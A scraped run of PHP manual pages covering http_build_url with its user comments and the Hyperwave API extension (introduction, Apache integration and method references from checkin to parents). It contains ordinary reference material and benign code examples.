For those who are using PECL pecl_http 2, you need to refer to HttpQueryString, which is now implemented under http namespace. Therefore,

<?php new \http\QueryString(); ?>


Build a URL

  • « http_build_str
  • Hyperwave API »
  • PHP Manual
  • HTTP Functions
  • Build a URL

http_build_url

(PECL pecl_http >= 0.21.0)

http_build_url — Build a URL

Description

string http_build_url ([ mixed $url [, mixed $parts [, int $flags = HTTP_URL_REPLACE [, array &$new_url ]]]] )

Build a URL.

The parts of the second URL will be merged into the first according to the flags argument.

Parameters

url

(part(s) of) an URL in form of a string or associative array like parse_url() returns

parts

same as the first argument

flags

a bitmask of binary or'ed HTTP_URL constants; HTTP_URL_REPLACE is the default

new_url

if set, it will be filled with the parts of the composed url like parse_url() would return

Return Values

Returns the new URL as string on success or FALSE on failure.

Examples

Example #1 A http_build_url() example

<?php
echo http_build_url("http://user@www.example.com/pub/index.php?a=b#files",
    array(
        "scheme" => "ftp",
        "host" => "ftp.example.com",
        "path" => "files/current/",
        "query" => "a=c"
    ),
    HTTP_URL_STRIP_AUTH | HTTP_URL_JOIN_PATH | HTTP_URL_JOIN_QUERY | HTTP_URL_STRIP_FRAGMENT
);
?>

The above example will output:

ftp://ftp.example.com/pub/files/current/?a=c

See Also

  • parse_url() - Parse a URL and return its components
  • http_build_str() - Build query string

User Contributed Notes

pasafama at gmail dot com 27-Sep-2014 01:04
It seems to me that the return value must always have a protocol, a host and a path. If they are not provided in the input, default values are added.

From what I saw, the default value for the protocol is 'http://', for the host is the hostname (if running from cli) or the variable $_SERVER['HTTP_HOST'], for the path is the variable $_SERVER['SCRIPT_NAME']
michael at REMOVE-THIS-PART dot muryn dot name 02-Apr-2014 08:16
To those that want to use http_build_url() without parameters to get the canonical page URL, be aware that this function seem to consider the equivalent of SCRIPT_NAME for the path instead of REQUEST_URI.

For example, if /example serve info.php (you can do this with mod_rewrite in Apache for example), while accessing http://example.com/example?test=1 this function will return http://example.com/info.php?test=1 instead of the URL the user see.  This could lead to obvious problems if you build other URL from this.

So like another comment say, it is reckless to use that undocumented feature.  Instead here is what I suggest:

<?php
function get_request_url()
{
    return get_request_scheme() . '://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
}

function get_request_scheme()
{
    return (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https' : 'http';
}
?>
anon at example dot com 04-Feb-2014 08:33
If you need to access the url to the current script you should examine $_SERVER['REQUEST_URI'].

Using an undocumented feature that gives the same functionality as existing PHP library calls is reckless.
Yzmir Ramirez 11-Jul-2013 03:10
So you used parse_url(...) and looking to put it back together and seeing if this function will do?

You may have seen some glue* functions that will rebuild the url with the parts that you have.  Try this:

<?php

   $parts = parse_url($uri);
   /* do your magic here on $parts */
   $uri = http_build_url('', $parts);
?>

Notice the first param is empty string.  It also works with NULL and array() as well.
randyg at ernieball dot com 07-Feb-2012 05:15
Although I've never used this function, based on the documentation it seems that the above code should also include the following:

<?php
    if ( ! is_array( $url ) ) // Added - Randy
    // Parse the original URL
        $parse_url = parse_url($url);

// allow parts to be a url Added - Randy
    if ( ! is_array( $parts ) )
        $parts = parse_url( $parts );
?>
Ant P. 09-Jun-2010 06:58
This function has a useful undocumented feature - the defaults are set in such a way that calling it with no parameters returns the full URL of the page being accessed.


Hyperwave API

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Integration with Apache
  • Hyperwave API Functions
    • hw_api::checkin — Checks in an object
    • hw_api::checkout — Checks out an object
    • hw_api::children — Returns children of an object
    • hw_api::content — Returns content of an object
    • hw_api::copy — Copies physically
    • hw_api::dbstat — Returns statistics about database server
    • hw_api::dcstat — Returns statistics about document cache server
    • hw_api::dstanchors — Returns a list of all destination anchors
    • hw_api::dstofsrcanchor — Returns destination of a source anchor
    • hw_api::find — Search for objects
    • hw_api::ftstat — Returns statistics about fulltext server
    • hw_api::hwstat — Returns statistics about Hyperwave server
    • hw_api::identify — Log into Hyperwave Server
    • hw_api::info — Returns information about server configuration
    • hw_api::insert — Inserts a new object
    • hw_api::insertanchor — Inserts a new object of type anchor
    • hw_api::insertcollection — Inserts a new object of type collection
    • hw_api::insertdocument — Inserts a new object of type document
    • hw_api::link — Creates a link to an object
    • hw_api::lock — Locks an object
    • hw_api::move — Moves object between collections
    • hw_api::object — Retrieve attribute information
    • hw_api::objectbyanchor — Returns the object an anchor belongs to
    • hw_api::parents — Returns parents of an object
    • hw_api::remove — Delete an object
    • hw_api::replace — Replaces an object
    • hw_api::setcommittedversion — Commits version other than last version
    • hw_api::srcanchors — Returns a list of all source anchors
    • hw_api::srcsofdst — Returns source of a destination object
    • hw_api::unlock — Unlocks a locked object
    • hw_api::user — Returns the own user object
    • hw_api::userlist — Returns a list of all logged in users
    • hw_api_attribute::key — Returns key of the attribute
    • hw_api_attribute::langdepvalue — Returns value for a given language
    • hw_api_attribute::value — Returns value of the attribute
    • hw_api_attribute::values — Returns all values of the attribute
    • hw_api_content::mimetype — Returns mimetype
    • hw_api_content::read — Read content
    • hw_api_error::count — Returns number of reasons
    • hw_api_error::reason — Returns reason of error
    • hw_api_object::assign — Clones object
    • hw_api_object::attreditable — Checks whether an attribute is editable
    • hw_api_object::count — Returns number of attributes
    • hw_api_object::insert — Inserts new attribute
    • hw_api_object::remove — Removes attribute
    • hw_api_object::title — Returns the title attribute
    • hw_api_object::value — Returns value of attribute
    • hw_api_reason::description — Returns description of reason
    • hw_api_reason::type — Returns type of reason
    • hwapi_attribute_new — Creates instance of class hw_api_attribute
    • hwapi_content_new — Create new instance of class hw_api_content
    • hwapi_hgcsp — Returns object of class hw_api
    • hwapi_object_new — Creates a new instance of class hwapi_object_new

User Contributed Notes

There are no user contributed notes for this page.


Introduction

Hyperwave has been developed at » IICM in Graz. It started with the name Hyper-G and changed to Hyperwave when it was commercialised (in 1996).

Hyperwave is not free software. The current version, 5.5, is available at » http://www.hyperwave.com/. A time limited version can be ordered for free (30 days).

Hyperwave is an information system similar to a database (HIS, Hyperwave Information Server). Its focus is the storage and management of documents. A document can be any possible piece of data that may as well be stored in file. Each document is accompanied by its object record. The object record contains meta data for the document. The meta data is a list of attributes which can be extended by the user. Certain attributes are always set by the Hyperwave server, other may be modified by the user.

Note:

This extension has been moved to the » PECL repository and is no longer bundled with PHP as of PHP 5.2.0.

User Contributed Notes

There are no user contributed notes for this page.


Requirements

Since 2001 there is a Hyperwave SDK available. It supports Java, JavaScript and C++. This PHP Extension is based on the C++ interface. In order to activate the hwapi support in PHP you will have to install the Hyperwave SDK first.

User Contributed Notes

There are no user contributed notes for this page.


Installation

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/hwapi.

This extension has been moved to the » PECL repository and is no longer bundled with PHP as of PHP 5.2.0

A DLL for this PECL extension is currently unavailable. See also the building on Windows section.

User Contributed Notes

There are no user contributed notes for this page.


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

Hyperwave API configuration options
Name | Default | Changeable | Changelog
hwapi.allow_persistent | "0" | PHP_INI_SYSTEM |
For further details and definitions of the PHP_INI_* modes, see the Where a configuration setting may be set.

User Contributed Notes

There are no user contributed notes for this page.


Integration with Apache

The Hyperwave extension is best used when PHP is compiled as an Apache module. In such a case the underlying Hyperwave server can be hidden from users almost completely if Apache uses its rewriting engine. The following instructions will explain this.

Since PHP with Hyperwave support built into Apache is intended to replace the native Hyperwave solution based on Wavemaster, we will assume that the Apache server will only serve as a Hyperwave web interface for these examples. This is not necessary but it simplifies the configuration. The concept is quite simple. First of all you need a PHP script which evaluates the $_ENV['PATH_INFO'] variable and treats its value as the name of a Hyperwave object. Let's call this script 'Hyperwave'. The URL http://your.hostname/Hyperwave/name_of_object would than return the Hyperwave object with the name 'name_of_object'. Depending on the type of the object the script has to react accordingly. If it is a collection, it will probably return a list of children. If it is a document it will return the mime type and the content. A slight improvement can be achieved if the Apache rewriting engine is used. From the users point of view it would be more straight forward if the URL http://your.hostname/name_of_object would return the object. The rewriting rule is quite easy:

RewriteRule ^/(.*) /usr/local/apache/htdocs/HyperWave/$1 [L]
Now every URL relates to an object in the Hyperwave server. This causes a simple to solve problem. There is no way to execute a different script, e.g. for searching, than the 'Hyperwave' script. This can be fixed with another rewriting rule like the following:
RewriteRule ^/hw/(.*) /usr/local/apache/htdocs/hw/$1 [L]
This will reserve the directory /usr/local/apache/htdocs/hw for additional scripts and other files. Just make sure this rule is evaluated before the one above. There is just a little drawback: all Hyperwave objects whose name starts with 'hw/' will be shadowed. So, make sure you don't use such names. If you need more directories, e.g. for images just add more rules or place them all in one directory. Before you put those instructions, don't forget to turn on the rewriting engine with
RewriteEngine on
You will need scripts:
  • to return the object itself
  • to allow searching
  • to identify yourself
  • to set your profile
  • one for each additional function like to show the object attributes, to show information about users, to show the status of the server, etc.

As an alternative to the Rewrite Engine, you can also consider using the Apache ErrorDocument directive, but be aware, that ErrorDocument redirected pages cannot receive POST data.

User Contributed Notes

There are no user contributed notes for this page.


Hyperwave API Functions

Integration with Apache

The integration with Apache and possible other servers has been described in the separate chapter.

Classes

The API provided by the HW_API extension is fully object oriented. It is very similar to the C++ interface of the Hyperwave SDK. It consist of the following classes.

  • HW_API
  • HW_API_Object
  • HW_API_Attribute
  • HW_API_Error
  • HW_API_Content
  • HW_API_Reason
Some basic classes like HW_API_String, HW_API_String_Array, etc., which exist in the Hyperwave SDK have not been implemented since PHP has powerful replacements for them.

Each class has certain method, whose names are identical to its counterparts in the Hyperwave SDK. Passing arguments to this function differs from all the other PHP extensions but is close to the C++ API of the HW SDK. Instead of passing several parameters they are all put into an associated array and passed as one parameter. The names of the keys are identical to those documented in the HW SDK. The common parameters are listed below. If other parameters are required they will be documented if needed.

  • objectIdentifier The name or id of an object, e.g. "rootcollection", "0x873A8768 0x00000002".
  • parentIdentifier The name or id of an object which is considered to be a parent.
  • object An instance of class HW_API_Object.
  • parameters An instance of class HW_API_Object.
  • version The version of an object.
  • mode An integer value determine the way an operation is executed.
  • attributeSelector Any array of strings, each containing a name of an attribute. This is used if you retrieve the object record and want to include certain attributes.
  • objectQuery A query to select certain object out of a list of objects. This is used to reduce the number of objects which was delivered by a function like hw_api::children() or hw_api::find().

Note:

Methods returning boolean can return TRUE, FALSE or HW_API_Error object.

Table of Contents

  • hw_api::checkin — Checks in an object
  • hw_api::checkout — Checks out an object
  • hw_api::children — Returns children of an object
  • hw_api::content — Returns content of an object
  • hw_api::copy — Copies physically
  • hw_api::dbstat — Returns statistics about database server
  • hw_api::dcstat — Returns statistics about document cache server
  • hw_api::dstanchors — Returns a list of all destination anchors
  • hw_api::dstofsrcanchor — Returns destination of a source anchor
  • hw_api::find — Search for objects
  • hw_api::ftstat — Returns statistics about fulltext server
  • hw_api::hwstat — Returns statistics about Hyperwave server
  • hw_api::identify — Log into Hyperwave Server
  • hw_api::info — Returns information about server configuration
  • hw_api::insert — Inserts a new object
  • hw_api::insertanchor — Inserts a new object of type anchor
  • hw_api::insertcollection — Inserts a new object of type collection
  • hw_api::insertdocument — Inserts a new object of type document
  • hw_api::link — Creates a link to an object
  • hw_api::lock — Locks an object
  • hw_api::move — Moves object between collections
  • hw_api::object — Retrieve attribute information
  • hw_api::objectbyanchor — Returns the object an anchor belongs to
  • hw_api::parents — Returns parents of an object
  • hw_api::remove — Delete an object
  • hw_api::replace — Replaces an object
  • hw_api::setcommittedversion — Commits version other than last version
  • hw_api::srcanchors — Returns a list of all source anchors
  • hw_api::srcsofdst — Returns source of a destination object
  • hw_api::unlock — Unlocks a locked object
  • hw_api::user — Returns the own user object
  • hw_api::userlist — Returns a list of all logged in users
  • hw_api_attribute::key — Returns key of the attribute
  • hw_api_attribute::langdepvalue — Returns value for a given language
  • hw_api_attribute::value — Returns value of the attribute
  • hw_api_attribute::values — Returns all values of the attribute
  • hw_api_content::mimetype — Returns mimetype
  • hw_api_content::read — Read content
  • hw_api_error::count — Returns number of reasons
  • hw_api_error::reason — Returns reason of error
  • hw_api_object::assign — Clones object
  • hw_api_object::attreditable — Checks whether an attribute is editable
  • hw_api_object::count — Returns number of attributes
  • hw_api_object::insert — Inserts new attribute
  • hw_api_object::remove — Removes attribute
  • hw_api_object::title — Returns the title attribute
  • hw_api_object::value — Returns value of attribute
  • hw_api_reason::description — Returns description of reason
  • hw_api_reason::type — Returns type of reason
  • hwapi_attribute_new — Creates instance of class hw_api_attribute
  • hwapi_content_new — Create new instance of class hw_api_content
  • hwapi_hgcsp — Returns object of class hw_api
  • hwapi_object_new — Creates a new instance of class hwapi_object_new

User Contributed Notes

There are no user contributed notes for this page.


Checks in an object

  • « Hyperwave API Functions
  • hw_api::checkout »
  • PHP Manual
  • Hyperwave API Functions
  • Checks in an object

hw_api::checkin

(PHP 4, PHP 5 < 5.2.0, PECL hwapi SVN)

hw_api::checkin — Checks in an object

Description

bool hw_api::checkin ( array $parameter )

This function checks in an object or a whole hierarchy of objects. The parameters array contains the required element 'objectIdentifier' and the optional element 'version', 'comment', 'mode' and 'objectQuery'. 'version' sets the version of the object. It consists of the major and minor version separated by a period. If the version is not set, the minor version is incremented. 'mode' can be one of the following values:

HW_API_CHECKIN_NORMAL
Checks in and commits the object. The object must be a document.
HW_API_CHECKIN_RECURSIVE
If the object to check in is a collection, all children will be checked in recursively if they are documents. Trying to check in a collection would result in an error.
HW_API_CHECKIN_FORCE_VERSION_CONTROL
Checks in an object even if it is not under version control.
HW_API_CHECKIN_REVERT_IF_NOT_CHANGED
Check if the new version is different from the last version. Unless this is the case the object will be checked in.
HW_API_CHECKIN_KEEP_TIME_MODIFIED
Keeps the time modified from the most recent object.
HW_API_CHECKIN_NO_AUTO_COMMIT
The object is not automatically committed on check-in.

Parameters

parameter

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • hw_api::checkout

User Contributed Notes

There are no user contributed notes for this page.


Checks out an object

  • « hw_api::checkin
  • hw_api::children »
  • PHP Manual
  • Hyperwave API Functions
  • Checks out an object

hw_api::checkout

(PHP 4, PHP 5 < 5.2.0, PECL hwapi SVN)

hw_api::checkout — Checks out an object

Description

bool hw_api::checkout ( array $parameter )

This function checks out an object or a whole hierarchy of objects.

Parameters

parameter

The parameters array contains the required element 'objectIdentifier' and the optional element 'version', 'mode' and 'objectQuery'. 'mode' can be one of the following values:

HW_API_CHECKIN_NORMAL
Checks out an object. The object must be a document.
HW_API_CHECKIN_RECURSIVE
If the object to check out is a collection, all children will be checked out recursively if they are documents. Trying to check out a collection would result in an error.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • hw_api::checkin

User Contributed Notes

There are no user contributed notes for this page.


Returns children of an object

  • « hw_api::checkout
  • hw_api::content »
  • PHP Manual
  • Hyperwave API Functions
  • Returns children of an object

hw_api::children

(PHP 4, PHP 5 < 5.2.0, PECL hwapi SVN)

hw_api::children — Returns children of an object

Description

array hw_api::children ( array $parameter )

Retrieves the children of a collection or the attributes of a document. The children can be further filtered by specifying an object query.

Parameters

parameter

The parameter array contains the required elements 'objectIdentifier' and the optional elements 'attributeSelector' and 'objectQuery'.

Return Values

The return value is an array of objects of type HW_API_Object or HW_API_Error.

See Also

  • hw_api::parents

User Contributed Notes

There are no user contributed notes for this page.


Returns content of an object

  • « hw_api::children
  • hw_api::copy »
  • PHP Manual
  • Hyperwave API Functions
  • Returns content of an object

hw_api::content

(PHP 4, PHP 5 < 5.2.0, PECL hwapi SVN)

hw_api::content — Returns content of an object

Description

HW_API_Content hw_api::content ( array $parameter )

This function returns the content of a document as an object of type hw_api_content.

Parameters

parameter

The parameter array contains the required elements 'objectidentifier' and the optional element 'mode'. The mode can be one of the constants HW_API_CONTENT_ALLLINKS, HW_API_CONTENT_REACHABLELINKS or HW_API_CONTENT_PLAIN.

HW_API_CONTENT_ALLLINKS means to insert all anchors even if the destination is not reachable.

HW_API_CONTENT_REACHABLELINKS tells this method to insert only reachable links and HW_API_CONTENT_PLAIN will lead to document without any links.

Return Values

Returns an instance of hw_api_content.

User Contributed Notes

There are no user contributed notes for this page.


Copies physically

  • « hw_api::content
  • hw_api::dbstat »
  • PHP Manual
  • Hyperwave API Functions
  • Copies physically

hw_api::copy

(PHP 4, PHP 5 < 5.2.0, PECL hwapi SVN)

hw_api::copy — Copies physically

Description

hw_api_content hw_api::copy ( array $parameter )

This function will make a physical copy including the content if it exists and returns the new object or an error object.

Parameters

parameter

The parameter array contains the required elements 'objectIdentifier' and 'destinationParentIdentifier'. The optional parameter is 'attributeSelector'`

Return Values

Returns the copied object.

See Also

  • hw_api::move
  • hw_api::link

User Contributed Notes

There are no user contributed notes for this page.


Returns statistics about database server

  • « hw_api::copy
  • hw_api::dcstat »
  • PHP Manual
  • Hyperwave API Functions
  • Returns statistics about database server

hw_api::dbstat

(PHP 4, PHP 5 < 5.2.0, PECL hwapi SVN)

hw_api::dbstat — Returns statistics about database server

Description

hw_api_object hw_api::dbstat ( array $parameter )

Returns statistics about database server.

Parameters

parameter

Return Values

See Also

  • hw_api::dcstat
  • hw_api::hwstat
  • hw_api::ftstat

User Contributed Notes

There are no user contributed notes for this page.


Returns statistics about document cache server

  • « hw_api::dbstat
  • hw_api::dstanchors »
  • PHP Manual
  • Hyperwave API Functions
  • Returns statistics about document cache server

hw_api::dcstat

(PHP 4, PHP 5 < 5.2.0, PECL hwapi SVN)

hw_api::dcstat — Returns statistics about document cache server

Description

hw_api_object hw_api::dcstat ( array $parameter )

Returns statistics about document cache server.

Parameters

parameter

Return Values

See Also

  • hw_api::dbstat
  • hw_api::hwstat
  • hw_api::ftstat

User Contributed Notes

There are no user contributed notes for this page.


Returns a list of all destination anchors

  • « hw_api::dcstat
  • hw_api::dstofsrcanchor »
  • PHP Manual
  • Hyperwave API Functions
  • Returns a list of all destination anchors

hw_api::dstanchors

(PHP 4, PHP 5 < 5.2.0, PECL hwapi SVN)

hw_api::dstanchors — Returns a list of all destination anchors

Description

array hw_api::dstanchors ( array $parameter )

Retrieves all destination anchors of an object.

Parameters

parameter

The parameter array contains the required element 'objectIdentifier' and the optional elements 'attributeSelector' and 'objectQuery'.

Return Values

See Also

  • hw_api::srcanchors

User Contributed Notes

There are no user contributed notes for this page.


Returns destination of a source anchor

  • « hw_api::dstanchors
  • hw_api::find »
  • PHP Manual
  • Hyperwave API Functions
  • Returns destination of a source anchor

hw_api::dstofsrcanchor

(PHP 4, PHP 5 < 5.2.0, PECL hwapi SVN)

hw_api::dstofsrcanchor — Returns destination of a source anchor

Description

hw_api_object hw_api::dstofsrcanchor ( array $parameter )

Retrieves the destination object pointed by the specified source anchors. The destination object can either be a destination anchor or a whole document.

Parameters

parameter

The parameters array contains the required element 'objectIdentifier' and the optional element 'attributeSelector'.

Return Values

See Also

  • hw_api::srcanchors
  • hw_api::dstanchors
  • hw_api::objectbyanchor

User Contributed Notes

There are no user contributed notes for this page.


Search for objects

  • « hw_api::dstofsrcanchor
  • hw_api::ftstat »
  • PHP Manual
  • Hyperwave API Functions
  • Search for objects

hw_api::find

(PHP 4, PHP 5 < 5.2.0, PECL hwapi SVN)

hw_api::find — Search for objects

Description

array hw_api::find ( array $parameter )

This functions searches for objects either by executing a key or/and full text query. The found objects can further be filtered by an optional object query. They are sorted by their importance. The second search operation is relatively slow and its result can be limited to a certain number of hits. This allows to perform an incremental search, each returning just a subset of all found documents, starting at a given index.

Parameters

parameter

The parameter array contains the 'keyquery' or/and 'fulltextquery' depending on who you would like to search. Optional parameters are 'objectquery', 'scope', 'languages' and 'attributeselector'. In case of an incremental search the optional parameters 'startIndex', 'numberOfObjectsToGet' and 'exactMatchUnit' can be passed.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Returns statistics about fulltext server

  • « hw_api::find
  • hw_api::hwstat »
  • PHP Manual
  • Hyperwave API Functions
  • Returns statistics about fulltext server

hw_api::ftstat

(PHP 4, PHP 5 < 5.2.0, PECL hwapi SVN)

hw_api::ftstat — Returns statistics about fulltext server

Description

hw_api_object hw_api::ftstat ( array $parameter )

Returns statistics about fulltext server.

Parameters

parameter

Return Values

See Also

  • hw_api::dcstat
  • hw_api::dbstat
  • hw_api::hwstat

User Contributed Notes

There are no user contributed notes for this page.


Returns statistics about Hyperwave server

  • « hw_api::ftstat
  • hw_api::identify »
  • PHP Manual
  • Hyperwave API Functions
  • Returns statistics about Hyperwave server

hw_api::hwstat

(PHP 4, PHP 5 < 5.2.0, PECL hwapi SVN)

hw_api::hwstat — Returns statistics about Hyperwave server

Description

hw_api_object hw_api::hwstat ( array $parameter )

Returns statistics about Hyperwave server.

Parameters

parameter

Return Values

See Also

  • hw_api::dcstat
  • hw_api::dbstat
  • hw_api::ftstat

User Contributed Notes

There are no user contributed notes for this page.


Log into Hyperwave Server

  • « hw_api::hwstat
  • hw_api::info »
  • PHP Manual
  • Hyperwave API Functions
  • Log into Hyperwave Server

hw_api::identify

(PHP 4, PHP 5 < 5.2.0, PECL hwapi SVN)

hw_api::identify — Log into Hyperwave Server

Description

bool hw_api::identify ( array $parameter )

Logs into the Hyperwave Server.

Parameters

parameter

The parameter array must contain the elements 'username' and 'password'.

Return Values

Returns an object of typeHW_API_Error if identification failed or TRUE if it was successful.

User Contributed Notes

There are no user contributed notes for this page.


Returns information about server configuration

  • « hw_api::identify
  • hw_api::insert »
  • PHP Manual
  • Hyperwave API Functions
  • Returns information about server configuration

hw_api::info

(PHP 4, PHP 5 < 5.2.0, PECL hwapi SVN)

hw_api::info — Returns information about server configuration

Description

array hw_api::info ( array $parameter )

Returns information about server configuration.

Parameters

parameter

Return Values

See Also

  • hw_api::dcstat
  • hw_api::dbstat
  • hw_api::ftstat
  • hw_api::hwstat

User Contributed Notes

There are no user contributed notes for this page.


Inserts a new object

  • « hw_api::info
  • hw_api::insertanchor »
  • PHP Manual
  • Hyperwave API Functions
  • Inserts a new object

hw_api::insert

(PHP 4, PHP 5 < 5.2.0, PECL hwapi SVN)

hw_api::insert — Inserts a new object

Description

hw_api_object hw_api::insert ( array $parameter )

Insert a new object. The object type can be user, group, document or anchor. Depending on the type other object attributes has to be set.

Parameters

parameter

The parameter array contains the required elements 'object' and 'content' (if the object is a document) and the optional parameters 'parameters', 'mode' and 'attributeSelector'. The 'object' must contain all attributes of the object. 'parameters' is an object as well holding further attributes like the destination (attribute key is 'Parent'). 'content' is the content of the document. 'mode' can be a combination of the following flags:

HW_API_INSERT_NORMAL
The object in inserted into the server.
HW_API_INSERT_FORCE_VERSION_CONTROL
HW_API_INSERT_AUTOMATIC_CHECKOUT
HW_API_INSERT_PLAIN
HW_API_INSERT_KEEP_TIME_MODIFIED
HW_API_INSERT_DELAY_INDEXING

Return Values

See Also

  • hw_api::replace

User Contributed Notes

There are no user contributed notes for this page.


Inserts a new object of type anchor

  • « hw_api::insert
  • hw_api::insertcollection »
  • PHP Manual
  • Hyperwave API Functions
  • Inserts a new object of type anchor

hw_api::insertanchor

(PHP 4, PHP 5 < 5.2.0, PECL hwapi SVN)

hw_api::insertanchor — Inserts a new object of type anchor

Description

hw_api_object hw_api::insertanchor ( array $parameter )

This function is a shortcut for hwapi_insert(). It inserts an object of type anchor and sets some of the attributes required for an anchor.

Parameters

parameter

The parameter array contains the required elements 'object' and 'documentIdentifier' and the optional elements 'destinationIdentifier', 'parameter', 'hint' and 'attributeSelector'. The 'documentIdentifier' specifies the document where the anchor shall be inserted. The target of the anchor is set in 'destinationIdentifier' if it already exists. If the target does not exists the element 'hint' has to be set to the name of object which is supposed to be inserted later. Once it is inserted the anchor target is resolved automatically.

Return Values

See Also

  • hw_api::insert
  • hw_api::insertdocument
  • hw_api::insertcollection

User Contributed Notes

There are no user contributed notes for this page.


Inserts a new object of type collection

  • « hw_api::insertanchor
  • hw_api::insertdocument »
  • PHP Manual
  • Hyperwave API Functions
  • Inserts a new object of type collection

hw_api::insertcollection

(PHP 4, PHP 5 < 5.2.0, PECL hwapi SVN)

hw_api::insertcollection — Inserts a new object of type collection

Description

hw_api_object hw_api::insertcollection ( array $parameter )

This function is a shortcut for hwapi_insert(). It inserts an object of type collection and sets some of the attributes required for a collection.

Parameters

parameter

The parameter array contains the required elements 'object' and 'parentIdentifier' and the optional elements 'parameter' and 'attributeSelector'. See hwapi_insert() for the meaning of each element.

Return Values

See Also

  • hw_api::insert
  • hw_api::insertdocument
  • hw_api::insertanchor

User Contributed Notes

There are no user contributed notes for this page.


Inserts a new object of type document

  • « hw_api::insertcollection
  • hw_api::link »
  • PHP Manual
  • Hyperwave API Functions
  • Inserts a new object of type document

hw_api::insertdocument

(PHP 4, PHP 5 < 5.2.0, PECL hwapi SVN)

hw_api::insertdocument — Inserts a new object of type document

Description

hw_api_object hw_api::insertdocument ( array $parameter )

This function is a shortcut for hwapi_insert(). It inserts an object with content and sets some of the attributes required for a document.

Parameters

parameter

The parameter array contains the required elements 'object', 'parentIdentifier' and 'content' and the optional elements 'mode', 'parameter' and 'attributeSelector'.

See hwapi_insert() for the meaning of each element.

Return Values

See Also

  • hw_api::insert
  • hw_api::insertcollection
  • hw_api::insertanchor

User Contributed Notes

There are no user contributed notes for this page.


Creates a link to an object

  • « hw_api::insertdocument
  • hw_api::lock »
  • PHP Manual
  • Hyperwave API Functions
  • Creates a link to an object

hw_api::link

(PHP 4, PHP 5 < 5.2.0, PECL hwapi SVN)

hw_api::link — Creates a link to an object

Description

bool hw_api::link ( array $parameter )

Creates a link to an object. Accessing this link is like accessing the object to links points to.

Parameters

parameter

The parameter array contains the required elements 'objectIdentifier' and 'destinationParentIdentifier'. 'destinationParentIdentifier' is the target collection.

Return Values

The function returns TRUE on success or an error object.

See Also

  • hw_api::copy

User Contributed Notes

There are no user contributed notes for this page.


Locks an object

  • « hw_api::link
  • hw_api::move »
  • PHP Manual
  • Hyperwave API Functions
  • Locks an object

hw_api::lock

(PHP 4, PHP 5 < 5.2.0, PECL hwapi SVN)

hw_api::lock — Locks an object

Description

bool hw_api::lock ( array $parameter )

Locks an object for exclusive editing by the user calling this function. The object can be only unlocked by this user or the system user.

Parameters

parameter

The parameter array contains the required element 'objectIdentifier' and the optional parameters 'mode' and 'objectquery'.

'mode' determines how an object is locked. HW_API_LOCK_NORMAL means, an object is locked until it is unlocked. HW_API_LOCK_RECURSIVE is only valid for collection and locks all objects within the collection and possible subcollections. HW_API_LOCK_SESSION means, an object is locked only as long as the session is valid.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • hw_api::unlock

User Contributed Notes

There are no user contributed notes for this page.


Moves object between collections

  • « hw_api::lock
  • hw_api::object »
  • PHP Manual
  • Hyperwave API Functions
  • Moves object between collections

hw_api::move

(PHP 4, PHP 5 < 5.2.0, PECL hwapi SVN)

hw_api::move — Moves object between collections

Description

bool hw_api::move ( array $parameter )

Moves object between collections.

Parameters

parameter

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • hw_objrec2array()

User Contributed Notes

There are no user contributed notes for this page.


Retrieve attribute information

  • « hw_api::move
  • hw_api::objectbyanchor »
  • PHP Manual
  • Hyperwave API Functions
  • Retrieve attribute information

hw_api::object

(PHP 4, PHP 5 < 5.2.0, PECL hwapi SVN)

hw_api::object — Retrieve attribute information

Description

hw_api_object hw_api::object ( array $parameter )

This function retrieves the attribute information of an object of any version. It will not return the document content.

Parameters

parameter

The parameter array contains the required elements 'objectIdentifier' and the optional elements 'attributeSelector' and 'version'.

Return Values

The returned object is an instance of class HW_API_Object on success or HW_API_Error if an error occurred.

Examples

This simple example retrieves an object and checks for errors.

Example #1 Retrieve an object

<?php
function handle_error($error)
{
  $reason = $error->reason(0);
  echo "Type: <b>";
  switch ($reason->type()) {
    case 0:
      echo "Error";
      break;
    case 1:
      echo "Warning";
      break;
    case 2:
      echo "Message";
      break;
  }
  echo "</b><br />\n";
  echo "Description: " . $reason->description("en") . "<br />\n";
}

function list_attr($obj)
{
  echo "<table>\n";
  $count = $obj->count();
  for ($i=0; $i<$count; $i++) {
    $attr = $obj->attribute($i);
    printf("<tr><td align=\"right\" bgcolor=\"#c0c0c0\"><b>%s</b></td><td bgcolor=\"#F0F0F0\">%s</td></tr>\n",
             $attr->key(), $attr->value());
  }
  echo "</table>\n";
}

$hwapi = hwapi_hgcsp($g_config[HOSTNAME]);
$parms = array("objectIdentifier"=>"rootcollection", "attributeSelector"=>array("Title", "Name", "DocumentType"));
$root = $hwapi->object($parms);
if (get_class($root) == "HW_API_Error") {
  handle_error($root);
  exit;
}
list_attr($root);
?>

See Also

  • hw_api::content

User Contributed Notes

There are no user contributed notes for this page.


Returns the object an anchor belongs to

  • « hw_api::object
  • hw_api::parents »
  • PHP Manual
  • Hyperwave API Functions
  • Returns the object an anchor belongs to

hw_api::objectbyanchor

(PHP 4, PHP 5 < 5.2.0, PECL hwapi SVN)

hw_api::objectbyanchor — Returns the object an anchor belongs to

Description

hw_api_object hw_api::objectbyanchor ( array $parameter )

This function retrieves an object the specified anchor belongs to.

Parameters

parameter

The parameter array contains the required element 'objectIdentifier' and the optional element 'attributeSelector'.

Return Values

See Also

  • hw_api::dstofsrcanchor
  • hw_api::srcanchors
  • hw_api::dstanchors

User Contributed Notes

There are no user contributed notes for this page.


Returns parents of an object

  • « hw_api::objectbyanchor
  • hw_api::remove »
  • PHP Manual
  • Hyperwave API Functions
  • Returns parents of an object

hw_api::parents

(PHP 4, PHP 5 < 5.2.0, PECL hwapi SVN)

hw_api::parents — Returns parents of an object

Description

array hw_api::parents ( array $parameter )

Retrieves the parents of an object. The parents can be further filtered by specifying an object query.

Parameters

parameter

The parameter array contains the required elements 'objectidentifier' and the optional elements 'attributeselector' and 'objectquery'.

Return Values

The return value is an array of objects of type HW_API_Object or HW_API_Error.

See Also

  • hw_api::children

